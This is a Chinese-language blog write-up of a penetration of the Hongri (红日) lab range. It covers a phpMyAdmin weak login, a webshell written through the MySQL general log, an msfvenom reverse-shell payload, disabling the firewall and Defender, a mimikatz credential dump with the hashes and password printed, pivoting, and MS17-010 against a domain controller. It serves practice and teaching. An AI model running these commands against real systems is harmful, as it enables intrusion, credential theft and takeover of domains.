红日靶场一

一、环境搭建
(kali):攻击机
win7():web服务器
winserve2008():域用户
win2003():域控

二、渗透
信息收集
先使用arp-scan -l 确认攻击IP

查看自己攻击机的IP

然后逐个排查发现目标IP为192.168.1.75
使用nmap 扫描

发现开放了80和3306两个端口,然后就是访问http服务

发现是一个php探针,然后就是想着该目录下会不会有其它文件,然后使用nuclei进行扫描

发现存在PhpMyAdmin的目录,然后就是访问

尝试弱口令 root root

成功登陆。然后的思路就是查看是否有写入权限
show global variables like 'secure%'

2、写马
value值是null,说明此处不允许写入,所以在次出提权的想法就不可行了
接着想想其它的方法,然后想了一下可以试试mysql的日志写入木马

查看日志信息

show variables like '%general%';

日志读写默认是关闭的OFF,打开日志读写功能

SET GLOBAL general_log='on';

发现默认是关闭的,然后将其打开

开启后将日志文件的存储位置改为可访问到的目录, 根目录即可

set global general_log_file = 'C:/phpStudy/WWW/shell.php'

执行下边一句话木马 ,数据库将会将查询语句保存在日志文件中

SELECT ''

成功在日志里面保存
然后就是使用webshell工具连接


这是一种方法
3、另外发现该web服务器还搭建了一个站点叫yxcms的,访问看看

大概浏览一下首页,然后发现一个敏感信息

此处泄露了站点后台的用户名密码,于是登陆

登陆成功,然后遇到这个第一个想到的就是在前台模板模块的任意文件里面写入shell
通过cms的文件找到前端模板的目录文件

然后访问,可以访问

然后再用webshell连接工具连接

连接成功
接着就是后面的后渗透过程了
查看权限

发现是管理员权限,那就好办了
第一件事就是关闭对方的防火墙防止一些操作被拦截
比如后门木马远控时被拦截
netsh advfirewall set allprofiles state off

在攻击机上生成后门然后上传到目标web服务器上
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.62 LPORT=4567 -f exe > code.exe

上传木马

攻击机启动监听模块

执行木马程序

连接成功
三、接下来就是内网信息收集
net time /domain #查看时间服务器
net user /domain #查看域用户
net view /domain #查看有几个域
net view /domain:GOD #查看GOD域情况
nslookup 主机名 #查看域内其他主机 可能ip查不出来
net group "domain computers" /domain #查看域内所有的主机名
net group "domain admins" /domain #查看域管理员
net group "domain controllers" /domain #查看域控


接着就是查看路由看看有没有与内网连接

接着判断一下该服务器是否在域内(一般会有DNS服务)

域名为god.org
net config Workstation #查看计算机名、全名、用户名、系统版本、工作站、域、登录域

定位域控

通过ping来确定域控的IP地址

然后再查看域内其它的用户

接着再去ping一下初域控外的另一台域用户主机

域用户IP也确定了,那么大概的内网信息已经收集完毕
四、然后就是提权一些操作
getuid --> 查看当前的权限
getsystem --> 提权

接着获取域用户的密码
meterpreter > ps

Process List

PID PPID Name Arch Session User Path


0 0 [System Process
]
4 0 System x64 0
252 4 smss.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\smss.ex
e
308 488 msdtc.exe x64 0 NT AUTHORITY\NETWORK SERVI C:\Windows\System32\msdtc.e
CE xe
336 320 csrss.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\csrss.e
xe
344 488 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost
.exe
388 320 wininit.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\wininit
.exe
396 380 csrss.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\System32\csrss.e
xe
432 380 winlogon.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\System32\winlogo
n.exe
488 388 services.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\service
s.exe
504 388 lsass.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\lsass.e
xe
512 388 lsm.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\lsm.exe
624 488 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost
.exe
688 488 vmacthlp.exe x64 0 NT AUTHORITY\SYSTEM C:\Program Files\VMware\VMw
are Tools\vmacthlp.exe
732 488 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVI C:\Windows\System32\svchost
CE .exe
792 488 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost
.exe
860 396 conhost.exe x64 1 GOD\Administrator C:\Windows\System32\conhost
.exe
908 488 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost
.exe
948 488 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost
.exe
1056 488 dllhost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\dllhost
.exe
1064 488 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVI C:\Windows\System32\svchost
CE .exe
1184 488 spoolsv.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\spoolsv
.exe
1228 488 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost
.exe
1400 488 openvpnserv.exe x64 0 NT AUTHORITY\SYSTEM C:\Program Files\OpenVPN\bi
n\openvpnserv.exe
1460 488 VGAuthService.e x64 0 NT AUTHORITY\SYSTEM C:\Program Files\VMware\VMw
xe are Tools\VMware VGAuth\VGA
uthService.exe
1536 488 vmtoolsd.exe x64 0 NT AUTHORITY\SYSTEM C:\Program Files\VMware\VMw
are Tools\vmtoolsd.exe
1736 624 WmiPrvSE.exe x64 0 NT AUTHORITY\NETWORK SERVI C:\Windows\System32\wbem\Wm
CE iPrvSE.exe
1952 488 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVI C:\Windows\System32\svchost
CE .exe
2396 488 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost
.exe
2428 488 SearchIndexer.e x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\SearchI
xe ndexer.exe
2440 396 conhost.exe x64 1 GOD\Administrator C:\Windows\System32\conhost
.exe
2448 2920 mysqld.exe x86 1 GOD\Administrator C:\phpStudy\MySQL\bin\mysql
d.exe
2472 488 taskhost.exe x64 1 GOD\Administrator C:\Windows\System32\taskhos
t.exe
2544 2908 httpd.exe x86 1 GOD\Administrator C:\phpStudy\Apache\bin\http
d.exe
2560 488 sppsvc.exe x64 0 NT AUTHORITY\NETWORK SERVI C:\Windows\System32\sppsvc.
CE exe
2844 3796 code.exe x86 1 GOD\Administrator C:\code.exe
2848 908 dwm.exe x64 1 GOD\Administrator C:\Windows\System32\dwm.exe
2872 2840 explorer.exe x64 1 GOD\Administrator C:\Windows\explorer.exe
2908 2920 httpd.exe x86 1 GOD\Administrator C:\phpStudy\Apache\bin\http
d.exe
2920 2872 phpStudy.exe x86 1 GOD\Administrator C:\phpStudy\phpStudy.exe
2952 396 conhost.exe x64 1 GOD\Administrator C:\Windows\System32\conhost
.exe
2976 2872 vmtoolsd.exe x64 1 GOD\Administrator C:\Program Files\VMware\VMw
are Tools\vmtoolsd.exe
2984 2872 Everything.exe x64 1 GOD\Administrator C:\Program Files\Everything
\Everything.exe
2996 2872 openvpn-gui.exe x64 1 GOD\Administrator C:\Program Files\OpenVPN\bi
n\openvpn-gui.exe
3048 2544 cmd.exe x86 1 GOD\Administrator C:\Windows\SysWOW64\cmd.exe
3620 2872 cmd.exe x64 1 GOD\Administrator C:\Windows\System32\cmd.exe
3796 3048 cmd.exe x86 1 GOD\Administrator C:\Windows\SysWOW64\cmd.exe
3804 488 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost
.exe
3860 396 conhost.exe x64 1 GOD\Administrator C:\Windows\System32\conhost
.exe

meterpreter > migrate 2872
[] Migrating from 2844 to 2872...
[
] Migration completed successfully.

meterpreter > load mimikatz
[!] The "mimikatz" extension has been replaced by "kiwi". Please use this in future.
[!] The "kiwi" extension has already been loaded.
meterpreter > kiwi_cmd sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)

meterpreter > getuid
Server username: GOD\Administrator
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > kiwi_cmd sekurlsa::logonpasswords

Authentication Id : 0 ; 1987548 (00000000:001e53dc)
Session : Interactive from 1
User Name : Administrator
Domain : GOD
Logon Server : OWA
Logon Time : 2024/6/16 17:30:50
SID : S-1-5-21-2952760202-1353902439-2381784089-500
msv :
[00000003] Primary
* Username : Administrator
* Domain : GOD
* LM : edea194d76c77d87d5f7fffc086227d3
* NTLM : 81be2f80d568100549beac645d6a7141
* SHA1 : 216d52c4efa68532a98c8cbe2b492634d175fa84
tspkg :
* Username : Administrator
* Domain : GOD
* Password : hongrisec@2020
wdigest :
* Username : Administrator
* Domain : GOD
* Password : hongrisec@2020
kerberos :
* Username : Administrator
* Domain : GOD.ORG
* Password : hongrisec@2020
ssp :
credman :

此时用户的账号密码获取成功

五、横向渗透
添加路由
run autoroute -s 192.168.52.0/24 #添加路由
run autoroute -p #查看路由信息
meterpreter > run autoroute -s 192.168.52.0/24

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[] Adding a route to 192.168.52.0/255.255.255.0...
[+] Added route to 192.168.52.0/255.255.255.0 via 192.168.1.75
[
] Use the -p option to list all active routes
meterpreter > run autoroute -p

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]

Active Routing Table

Subnet Netmask Gateway


192.168.52.0 255.255.255.0 Session 63

meterpreter > background

配置代理
use auxiliary/server/socks_proxy
set version 4a
set SRVPORT 1088 #端口可以任意,只要不被占用
run
检测代理是否配置成功
proxychains4 curl 192.168.52.143

配置成功,接下来就是通过代理来对内网进行端口扫描了
。。。发现后面我那个代理模块出问题了,扫不了内网,于是我又尝试使用cs来打
这个更适合打域
上传后门的过程就跳过了和前面那个msf生成木马后门差不多,直接上线

然后以拿下的外网服务器为跳板,上传fscan工具,然后对内网进行扫描

发现扫描信息感觉还可以,然后就是尝试将cs委派到msf上,然后使用msf集成的模块进行渗透

msf获取shell,然后就是配置静态路由
run post/multi/manage/autoroute
run post/multi/manage/autoroute SUBNET=192.168.52.0 ACTION=ADD
msf6 exploit(multi/handler) > use auxiliary/scanner/portscan/tcp

msf6 auxiliary(scanner/portscan/tcp) > set rhosts 192.168.52.141
rhosts => 192.168.52.141
msf6 auxiliary(scanner/portscan/tcp) > show options

Module options (auxiliary/scanner/portscan/tcp):

Name Current Setting Required Description


CONCURRENCY 10 yes The number of concurrent ports to check per host
DELAY 0 yes The delay between connections, per thread, in milliseconds
JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS 192.168.52.141 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
THREADS 1 yes The number of concurrent threads (max one per host)
TIMEOUT 1000 yes The socket connect timeout in milliseconds

View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/portscan/tcp) > set ports 80,135-139,445,3306,3389
ports => 80,135-139,445,3306,3389
msf6 auxiliary(scanner/portscan/tcp) > run

和cs上收集的差不多,然后尝试打一下ms17-010
msf6 auxiliary(scanner/portscan/tcp) > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.52.138
rhosts => 192.168.52.141
msf6 auxiliary(scanner/smb/smb_ms17_010) > run

[+] 192.168.52.141:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2003 3790 x86 (32-bit)
[] 192.168.52.141:445 - Scanned 1 of 1 hosts (100% complete)
[
] Auxiliary module execution completed

说明永恒之蓝漏洞存在,然后进行攻击
然后发现一件事就是目标域控蓝屏然后没有获取shell,极大可能就是跳板机(win7)防火墙没关以及windefind导致的

msf6-> sessions -l #查看所有会话
msf6-> sessions 1 #进入会话4中
netsh advfirewall set allprofiles state off #关闭防火墙
net stop windefend #关闭Windows defender

然后再一次尝试攻击

成功,接下来就是可以添加用户,尝试进行远程登陆了

posted @ 2024-07-04 11:36  小小狂徒  阅读(33)  评论(0编辑  收藏  举报
//雪花飘落效果 //雪花飘落效果